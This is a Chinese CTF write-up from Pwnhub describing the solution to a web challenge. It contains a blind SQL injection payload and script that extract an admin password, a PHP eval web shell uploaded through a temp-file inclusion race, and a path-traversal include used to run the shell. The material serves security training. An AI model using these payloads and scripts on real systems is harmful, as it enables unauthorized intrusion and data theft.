web

五一公开赛Writeup

Posted by Pwnhub on 2017-05-09

各位胖友,大家好!这里是胖哈勃电台。

为了丰富大家的五一,胖哥在五一假期开始前搞了一次公开赛,十分感谢各位的捧场与热情参与!

接下来,公布一下本次公开赛的 WriteUp 。这篇 WriteUp 来自此次其中一位获得了邀请码的胖友@Wonderkun 。他的解题过程也十分有趣,曾经一度跑偏,getshell 了也依然未找到 Flag ,23333


首先发现注入:

1.png

写个单引号,竟然报错,这不科学。很可能是update型注入,测试发现啥都没过滤,用脚本跑出管理员密码:

主要的payload就是:

content=0’%2bif((select%20mid(password,1,{pos})%20from%20users%20where%20username=’admin’)=’{passwd}’,1,0)%2b’0

根据user.php 页面返回的值是1,还是0,进行bool注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
# coding:utf-8
import requests
randstr = '1234567890abcdefghijklmnopqrstuvwxyz\{\}'
def getContent():
url = "http://54.223.198.144/user.php"
headers = {
"Cookie":"PHPSESSID=4rmml9ibvuph2uk36fq52eha40"
}
req = requests.get(url,headers=headers)
if '<p>1</p>' in req.text:
return True
return False
def changeContent():
url = "http://54.223.198.144/post.php"
headers = {
"Cookie":"PHPSESSID=4rmml9ibvuph2uk36fq52eha40",
"Content-Type":"application/x-www-form-urlencoded"
}
password = ""
for pos in range(1,34):
for s in randstr:
data = "content=0'%2bif((select%20mid(password,1,{pos})%20from%20users%20where%20username='admin')='{passwd}',1,0)%2b'0".format(pos=str(pos),passwd=password+s)
# print data
proxy = {"http":"127.0.0.1:8080"}
req = requests.post(url,headers=headers,data=data,proxies=proxy)
if getContent():
password = password+s
print "[*]",len(password),":",password
break
if __name__ == '__main__':
changeContent()

跑出来管理员密码:

2.png

解密出来是:melody456

用管理员身份登录

这里有一个任意文件包: http://54.223.198.144/manager.php?module=article_manage&name=php

但是前面限定了目录是 /var/www/html,所以php的伪协议都不能用了。

尝试包含日志和进程自身变量都没权限。

然后尝试包含自身 : http://54.223.198.144/manager.php?module=manager&name=php

发现竟然可以执行(默认的php配置是不会执行的,给退出啦!)

然后由发现了 kindeditor 的目录遍历,kindeditor被阉割掉了上传功能啦。

那么思路有啦

向manager.php?module=manager&name=php文件post一个shell,由于此文件不停的包含自身,最后出错,导致临时文件无法删除,然后用 kindeditor的目录遍历功能,遍历/tmp目录,获取shell文件名,包含shell文件.

上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# coding:utf-8
import requests
import sys
print('[+] Trying to win the race')
f = {
'file':('1.php',"<?php @eval($_POST['name']);?>")
}
header = {
"Cookie":"PHPSESSID=4rmml9ibvuph2uk36fq52eha40"
}
proxy = {"http":"127.0.0.1:8080"}
requests.post('http://54.223.198.144/manager.php?module=manager.php&name=',headers=header,files=f,proxies=proxy)
print('[x] finish!')

遍历/tmp目录

3.png

获取shell

http://54.223.198.144/manager.php?module=../../../../../../tmp/php6vk814&name=

获取flag

flag竟然在/tmp的一个隐藏目录下,让我好找!!我一直认为管理员忘记放flag啦!! 最后问了phithon师傅,才知道flag在/tmp目录下!

(题目数据库挂啦,我登录不进去啦,忘记那个目录叫啥名字啦!)

读取flag.txt 获取flag: pwnhub{flag:单身不可耻}


有趣的做题经历,也感谢 @wonderkun 胖友提供的图文并茂的 WriteUp,最后,分享一下本次题主 @melody 胖友关于文件包含的一篇文章《鸡肋漏洞利用两则》,据说这个点他出题出过不下四五次喔!

本次播报到此结束,下次公开赛再见喔!